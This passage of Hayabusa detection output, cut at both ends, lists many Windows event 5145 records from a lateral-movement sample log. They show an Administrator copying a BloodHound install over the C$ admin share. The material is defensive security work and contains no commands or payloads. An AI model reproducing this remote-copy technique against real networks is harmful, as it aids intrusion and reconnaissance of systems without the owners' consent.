Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\prop-types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.108 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\prop-types\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.108 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\p-try : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.108 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\punycode : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.119 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.119 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react\cjs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.119 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react\umd : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.139 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.149 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.149 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\es : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.159 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\es\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.159 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.169 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\lib\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.169 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\node_modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.179 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\node_modules\prop-types-extra : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.179 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\node_modules\react-overlays : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.179 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\node_modules\react-prop-types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.189 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\node_modules\uncontrollable : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.189 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-dom : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.199 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-dom\cjs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.209 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-dom\umd : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.209 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-if : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.209 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-if\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.219 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-if\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.219 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.219 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\.github : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.219 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.229 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.229 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\examples\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.229 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\examples\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.239 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.239 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\lib\components : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.239 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\lib\icons : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.239 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\lib\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.239 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.249 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\src\components : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.249 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\src\icons : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.249 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\src\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.249 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-is : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.259 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-is\cjs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.259 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-is\umd : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.259 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-lifecycles-compat : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.259 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.269 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\__test__ : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.269 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\__test__\__snapshots__ : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.269 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\coverage : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.269 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\coverage\lcov-report : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.279 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.279 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\docs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.279 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\docs\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.279 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.289 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\examples\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.289 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.289 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.289 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-scrolllock : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.289 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-scrolllock\__tests__ : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.299 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-scrolllock\config : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.299 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-scrolllock\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.299 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-scrolllock\node_modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.299 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-scrolllock\node_modules\react-prop-toggle : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.309 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-transition-group : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.309 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-transition-group\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral 